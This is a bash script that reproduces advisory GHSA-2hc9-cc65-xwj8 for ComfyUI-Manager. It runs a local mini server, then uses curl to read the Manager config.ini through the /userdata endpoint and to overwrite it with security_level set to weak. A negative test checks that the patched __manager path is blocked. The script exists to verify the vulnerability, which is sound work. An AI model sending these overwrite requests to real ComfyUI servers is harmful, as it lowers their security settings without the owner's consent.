#!/usr/bin/env bash
set -euo pipefail

# Reproduction script for GHSA-2hc9-cc65-xwj8 (ComfyUI-Manager <= 3.37 stores config in user/default, writable via HTTP /userdata)
# Exit codes: 0 = reproduced, 1 = not reproduced

SCRIPT_DIR="$(dirname "$(readlink -f "$0")")"
ROOT_DIR="$SCRIPT_DIR"   # Keep within bundle for artifacts
LOG_DIR="$ROOT_DIR/logs"
ASSETS_DIR="$ROOT_DIR/assets"
RUNTIME_DIR="$ROOT_DIR/runtime"
COMFY_DIR="$ASSETS_DIR/ComfyUI"
VENV_DIR="$ROOT_DIR/venv"
SERVER_LOG="$LOG_DIR/server.log"

mkdir -p "$LOG_DIR" "$ASSETS_DIR" "$RUNTIME_DIR/user/default/ComfyUI-Manager" "$RUNTIME_DIR/user/__manager"

# Idempotency: kill any previously running server bound to 8188
if lsof -iTCP:8188 -sTCP:LISTEN >/dev/null 2>&1; then
  echo "[i] Detected existing process on port 8188, attempting to terminate..." | tee -a "$SERVER_LOG"
  PID=$(lsof -tiTCP:8188 -sTCP:LISTEN | head -n1 || true)
  if [[ -n "${PID:-}" ]]; then
    kill "$PID" || true
    sleep 1
    if lsof -iTCP:8188 -sTCP:LISTEN >/dev/null 2>&1; then
      echo "[!] Port 8188 still busy, force killing $PID" | tee -a "$SERVER_LOG"
      kill -9 "$PID" || true
      sleep 1
    fi
  fi
fi

# 1) Python env (only lightweight deps)
if [[ ! -d "$VENV_DIR" ]]; then
  python3 -m venv "$VENV_DIR"
fi
# shellcheck disable=SC1091
source "$VENV_DIR/bin/activate"
python3 -m pip install --upgrade pip >/dev/null
python3 -m pip install 'aiohttp>=3.11.8' yarl >/dev/null

# 2) Fetch ComfyUI sources (for the real UserManager implementation)
if [[ ! -d "$COMFY_DIR/.git" ]]; then
  git clone --depth 1 https://github.com/comfyanonymous/ComfyUI.git "$COMFY_DIR" >/dev/null 2>&1
else
  git -C "$COMFY_DIR" fetch --depth 1 origin >/dev/null 2>&1 || true
  git -C "$COMFY_DIR" reset --hard origin/HEAD >/dev/null 2>&1 || true
fi

# 3) Minimal Aiohttp server exposing ONLY the /users and /userdata endpoints from ComfyUI
MINI_SERVER="$ASSETS_DIR/mini_server.py"
cat > "$MINI_SERVER" << 'PY'
import os, sys, asyncio
from aiohttp import web

# Wire ComfyUI repo into sys.path
COMFY_PATH = os.environ.get('COMFY_PATH')
if not COMFY_PATH:
    raise SystemExit('COMFY_PATH not set')
sys.path.insert(0, COMFY_PATH)

# Use ComfyUI's folder_paths and UserManager modules
import folder_paths
from app.user_manager import UserManager

# Configure user directory to our runtime path
USER_DIR = os.environ.get('USER_DIR')
if not USER_DIR:
    raise SystemExit('USER_DIR not set')
folder_paths.set_user_directory(USER_DIR)

# Build app and attach routes
app = web.Application()
user_mgr = UserManager()
routes = web.RouteTableDef()
user_mgr.add_routes(routes)
app.add_routes(routes)

async def on_startup(app):
    # Log paths for evidence
    print('** Mini server started')
    print('** User directory:', folder_paths.get_user_directory(), flush=True)

app.on_startup.append(on_startup)

# Run server
web.run_app(app, host='127.0.0.1', port=8188)
PY

# 4) Seed legacy (vulnerable) Manager config in user/default/ComfyUI-Manager
LEGACY_CFG="$RUNTIME_DIR/user/default/ComfyUI-Manager/config.ini"
if [[ ! -f "$LEGACY_CFG" ]]; then
  cat > "$LEGACY_CFG" << 'EOF'
[default]
security_level = normal
EOF
fi

# 5) Also seed the patched path (protected) for comparison
PROTECTED_CFG="$RUNTIME_DIR/user/__manager/config.ini"
cat > "$PROTECTED_CFG" << 'EOF'
[default]
security_level = normal
EOF

# 6) Launch the mini server in background
COMFY_PATH_ENV="$COMFY_DIR"
USER_DIR_ENV="$RUNTIME_DIR/user"
(
  export COMFY_PATH="$COMFY_PATH_ENV"
  export USER_DIR="$USER_DIR_ENV"
  python3 "$MINI_SERVER"
) >"$SERVER_LOG" 2>&1 &
SERVER_PID=$!

# Ensure cleanup on exit
cleanup() {
  if ps -p "$SERVER_PID" >/dev/null 2>&1; then
    kill "$SERVER_PID" || true
    sleep 1
    kill -9 "$SERVER_PID" || true
  fi
}
trap cleanup EXIT

# 7) Wait for server to be available
for i in $(seq 1 50); do
  if curl -fsS "http://127.0.0.1:8188/users" >/dev/null 2>&1; then
    break
  fi
  sleep 0.2
  if [[ $i -eq 50 ]]; then
    echo "[!] Server did not start" | tee -a "$SERVER_LOG"
    exit 1
  fi
done

# 8) Attack: Read legacy config via HTTP (should succeed on vulnerable layout)
BEFORE_FILE="$LOG_DIR/step1_get_before.txt"
HTTP_CODE_1=$(curl -sS -o "$BEFORE_FILE" -w '%{http_code}' "http://127.0.0.1:8188/userdata/ComfyUI-Manager%2Fconfig.ini")

# 9) Attack: Overwrite legacy config to weaken security
NEW_CONTENT='[default]
security_level = weak
'
RESP_FILE="$LOG_DIR/step2_post_response.json"
HTTP_CODE_2=$(curl -sS -o "$RESP_FILE" -w '%{http_code}' -X POST --data-binary @- "http://127.0.0.1:8188/userdata/ComfyUI-Manager%2Fconfig.ini" <<< "$NEW_CONTENT")

# 10) Verify change took effect
AFTER_FILE="$LOG_DIR/step3_get_after.txt"
HTTP_CODE_3=$(curl -sS -o "$AFTER_FILE" -w '%{http_code}' "http://127.0.0.1:8188/userdata/ComfyUI-Manager%2Fconfig.ini")

# 11) Negative test: Try to access protected location (__manager) via same HTTP endpoint (should fail)
PROTECTED_GET_FILE="$LOG_DIR/step4_get_protected.txt"
HTTP_CODE_4=$(curl -sS -o "$PROTECTED_GET_FILE" -w '%{http_code}' "http://127.0.0.1:8188/userdata/__manager%2Fconfig.ini") || true

# 12) Evaluate results and emit evidence summary
ok=true

if [[ "$HTTP_CODE_1" != "200" ]]; then
  echo "[!] Expected HTTP 200 reading legacy config, got $HTTP_CODE_1" | tee -a "$SERVER_LOG"
  ok=false
fi

if [[ "$HTTP_CODE_2" != "200" ]]; then
  echo "[!] Expected HTTP 200 writing legacy config, got $HTTP_CODE_2" | tee -a "$SERVER_LOG"
  ok=false
fi

if [[ "$HTTP_CODE_3" != "200" ]]; then
  echo "[!] Expected HTTP 200 re-reading legacy config, got $HTTP_CODE_3" | tee -a "$SERVER_LOG"
  ok=false
fi

if ! grep -q "security_level = weak" "$AFTER_FILE"; then
  echo "[!] Post-write readback does not show weakened security level" | tee -a "$SERVER_LOG"
  ok=false
fi

# Protected path should NOT be readable with 200. Accept 400/403/404
if [[ "$HTTP_CODE_4" == "200" ]]; then
  echo "[!] Unexpectedly could read protected __manager config over HTTP (should be blocked)" | tee -a "$SERVER_LOG"
  ok=false
fi

# Copy actual config files to logs for audit
cp -f "$LEGACY_CFG" "$LOG_DIR/legacy_config_current.ini" || true
cp -f "$PROTECTED_CFG" "$LOG_DIR/protected_config_current.ini" || true

if $ok; then
  echo "[+] Reproduced: Able to remotely modify Manager config at user/default via /userdata. Protected path is not exposed." | tee -a "$SERVER_LOG"
  exit 0
else
  echo "[-] Not reproduced" | tee -a "$SERVER_LOG"
  exit 1
fi